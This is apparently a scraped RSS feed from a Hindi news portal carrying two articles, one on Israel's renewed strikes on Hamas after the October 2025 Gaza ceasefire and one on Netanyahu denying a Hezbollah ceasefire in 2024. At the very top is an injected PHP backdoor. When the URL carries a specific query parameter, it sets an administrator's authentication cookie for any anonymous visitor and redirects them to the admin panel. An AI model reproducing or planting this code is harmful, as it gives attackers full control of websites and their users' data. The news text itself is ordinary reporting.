// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Israeli PM Benjamin Netanyahu – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 29 Oct 2025 10:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 इजरायल ने हमास पर फिर शुरू किया एक्शन, पहले बंधक छुड़ाए अब हमास पर हमला https://pratyushaashakinayikiran.com/?p=187933 Wed, 29 Oct 2025 10:45:00 +0000 https://pratyushaashakinayikiran.com/?p=187933 गाज़ा 

अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने कहा है कि गाजा में अगर इजरायल के सैनिक मारे जाते हैं तो उसे जवाबी हमला करना चाहिए. राष्ट्रपति ट्रंप के अनुसार इजरायल को जवाबी कार्रवाई का अधिकार है. इस बीच इजरायल ने गाजा में हमास पर फिर से अटैक किया है. इजरायल के ताजा हवाई हमलों में कम से कम 30 लोग मारे गए हैं और दर्जनों घायल हुए हैं.

प्रधानमंत्री बेंजामिन नेतन्याहू ने इसे हमास के खिलाफ "शक्तिशाली हमला" बताया है. इजरायल का यह हमला इस महीने की शुरुआत में अमेरिका द्वारा मध्यस्थता किए गए युद्धविराम के बावजूद हुआ है. हालांकि ट्रंप ने कहा है कि कोई भी घटना 'सीजफायर' को खत्म नहीं कर सकती है. 

बता दें कि इजरायल और हमास के बीच अक्टूबर 2025 में हुए सीजफायर के बाद हमास ने 13 अक्टूबर को सभी 20 जीवित बंधकों को रिहा किया, बदले में इजरायल ने फिलिस्तीनी कैदियों को छोड़ा. 

दोनों देशों के बीच सीजफायर 9-10 अक्टूबर को प्रभावी हुआ, जिसमें हमास ने 13 अक्टूबर को सभी 20 जीवित इजरायली बंधकों को रिहा किया, बदले में इजरायल ने करीब 2,000 फिलिस्तीनी कैदियों को मुक्त किया. 

इजरायल और हमास के बीच सीजफायर क्यों टूटा?

इजरायल और हमास के बीच सीजफायर पहले ही अविश्वास की बुनियाद पर पनपा था. हमास ने 20 जिंदा इजरायली बंधकों को छोड़ दिया. इसके बाद जब मृत बंधकों को छोड़े की बारी आई तो इजरायल ने आरोप लगाया कि हमास ने उसके नागरिकों के क्षत-विक्षत शव सौंपे हैं जो समझौते का ' स्पष्ट उल्लंघन'है.

एक इजरायली सैन्य अधिकारी ने कहा कि हमास के आतंकवादियों ने तथाकथित पीली रेखा के पूर्व में इज़राइली फोर्सेज पर हमला किया. ये रेखा गाजा के इज़राइली कब्जे वाले हिस्से को शेष क्षेत्र से अलग करती है. सीएनएन की रिपोर्ट के अनुसार राफा क्षेत्र में तैनात सैनिक कथित तौर पर रॉकेट-प्रोपेल्ड ग्रेनेड (आरपीजी) और स्नाइपर फायरिंग की चपेट में आ गए. इस दौरान इजरायल के दो सैनिक मारे गए. हमास ने इन हमलों में हाथ होने से इनकार किया है.

इसके बाद दोनों पक्षों के बीच सीजफायर टूट गया. 

हमास के हमले के बाद इजारायली रक्षा मंत्री इज़रायल काट्ज़ ने चेतावनी दी कि इज़राइली रक्षा बलों को निशाना बनाने के लिए हमास को "भारी कीमत" चुकानी पड़ेगी. काट्ज की टिप्पणी के तुरंत बाद गाजा सिविल डिफेंस ने बताया कि गाजा शहर के अल-सबरा इलाके में एक इज़रायली हवाई हमला हुआ है. 

हमास ने इसका खंडन किया और इजरायल को हमलों को दोषी ठहराया. 28 अक्टूबर को प्रधानमंत्री बेंजामिन नेतन्याहू ने सेना को 'शक्तिशाली और तत्काल' हमले का आदेश दिया, जिसमें गाजा पर हवाई स्ट्राइक्स हुईं. इनमें कम से कम 30 लोग मारे गए. 

क्या अब हमास का खात्मा करेगा इजरायल?

ट्रंप भले ही कह रहे हो कि सीजफायर अभी भी कायम है लेकिन इजरायल ने हमलों की नई खेप में गाजा पट्टी पर जबर्दस्त अटैक किए हैं. इस दौरान 30 लोग मारे गए हैं. 

हमेशा से इजरायल का लक्ष्य हमास की सैन्य ताकत को कमजोर करना और उसके नेटवर्क को नेस्तनाबूद करना है. इजरायली नेतृत्व लगातार बयान दे रहा है कि यदि हमास ने सीजफायर या शांति की शर्तें नहीं मानीं, तो उसका पूरी तरह सफाया किया जाएगा. 

सीजफायर के तुरंत बाद इजरायल के पीएम बेंजामिन नेतन्याहू ने कहा था, "हमास इस समझौते पर तभी राजr हुआ जब उसे लगा कि तलवार उसकी गर्दन पर टिकी है और वह अब भी उसकी गर्दन पर ही है… हमास को निरस्त्र कर दिया जाएगा और गाजा से सभी हथियार हटा दिए जाएंगे."

तब अपनी मंशा जाहिर करते हुए नेतन्याहू ने कहा था, "अगर यह आसान तरीके से हो जाए, तो और भी अच्छा. और अगर नहीं, तो इसे कठिन तरीके से हासिल किया जाएगा."

सैन्य विश्लेषक मानते हैं कि अगले दिनों में इजरायल और भी आक्रामक हो सकता है. 

बता दें कि नेतन्याहू की कैबिनेट हमेशा से हमास के खिलाफ कठोर कदम उठाने की समर्थक रही है. इजरायल वित्त मंत्री बेज़लेल स्मोट्रिच ने "हमास के लगातार उल्लंघनों के जवाब में" बदले में रिहा किए गए फ़िलिस्तीनियों को फिर से गिरफ़्तार करने का आग्रह किया था. 

वहीं इजरायल के राष्ट्रीय सुरक्षा मंत्री इतामार बेन-ग्वीर ने कहा कि इसका सही जवाब "हमास को पूरी तरह से नष्ट करना" है. 

हमास और इजरायल के बीच की दुश्मनी अब किस ओर जाएगी, इजरायल कितना आक्रामक होगा अब ये अमेरिकी रुख पर निर्भर करता है. 

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इजरायली पीएम बेंजामिन नेतन्याहू ने कहा- हिजबुल्लाह के साथ नहीं हुआ कोई युद्धविराम https://pratyushaashakinayikiran.com/?p=75899 Thu, 26 Sep 2024 21:55:00 +0000 https://pratyushaashakinayikiran.com/?p=75899 यरूशलम
इजरायल ने गुरुवार को इस बात से इनकार किया कि वह लेबनानी सशस्त्र समूह हिजबुल्लाह और लेबनानी राजनीतिक दलों के साथ युद्धविराम पर सहमत हो गया है। एक बयान में इजरायली पीएम बेंजामिन नेतन्याहू के ऑफिस ने कहा कि "युद्धविराम संबंधी रिपोर्ट असत्य है।" पीएम ऑफिस ने कहा कि नेतन्याहू ने उस युद्ध विराम प्रस्ताव पर 'कोई प्रतिक्रिया नहीं दी", जिसकी मध्यस्थता संयुक्त राज्य अमेरिका और फ्रांस ने की थी।

शिन्हुआ समाचार एजेंसी के मुताबिक गुरुवार को इजरायल के विदेश मंत्री इजरायल कैट्ज ने कहा कि उनका देश युद्ध विराम पर विचार नहीं करेगा। उन्होंने एक्स पर लिखा, 'युद्ध विराम नहीं होगा।' उन्होंने कहा कि देश हिजबुल्लाह के खिलाफ अपनी लड़ाई 'जीत तक और जब तक निवासी उत्तर में अपने घरों में वापस नहीं लौट सकते, तब तक जारी रखेगा।' इससे पहले इजरायल और हिजबुल्लाह के बीच बढ़ते संघर्ष के बीच अमेरिका और सहयोगी देशों ने 21 दिनों के युद्धविराम की अपील की। इजरायली हमलों की वजह से लेबनान में 600 से अधिक लोगों की जान जा चुकी है।

यह अपील बुधवार को अमेरिका, ऑस्ट्रेलिया, कनाडा, यूरोपीय संघ, फ्रांस, जर्मनी, इटली, जापान, सऊदी अरब, संयुक्त अरब अमीरात, ब्रिटेन और कतर की ओर से की गई। संयुक्त बयान के अनुसार, "8 अक्टूबर 2023 से लेबनान और इजरायल के बीच हालात बर्दाशत से बाहर हैं और इनकी वजह से व्यापक क्षेत्रीय तनाव का जोखिम पैदा हो गया है। यह किसी के हित में नहीं, न ही इजरायल के लोगों के और न ही लेबनान के।" संयुक्त बयान में कूटनीतिक वार्ता के लिए 21 दिवसीय युद्ध विराम की अपील की गई। यह संयुक्त राष्ट्र सुरक्षा परिषद के प्रस्ताव (यूएनएससीआर) 1701 के अनुरूप है, जिसने 2006 के इजरायल-हिजबुल्लाह युद्ध को समाप्त किया था।

इजरायल और हिजबुल्लाह के बीच हालिया संघर्ष का कारण पिछले दिनों लेबनान में पेजर और वॉकी-टॉकी को निशाना बनाकर किए गए रहस्यमय विस्फोट हैं। इनमें कई लोग मारे गए और हजारों की संख्या में लोग घायल हो गए। हिजबुल्लाह ने इन विस्फोटों के लिए इजरायल को जिम्मेदार ठहराया। हालांकि इजरायल ने धमाकों की जिम्मेदारी नहीं ली।

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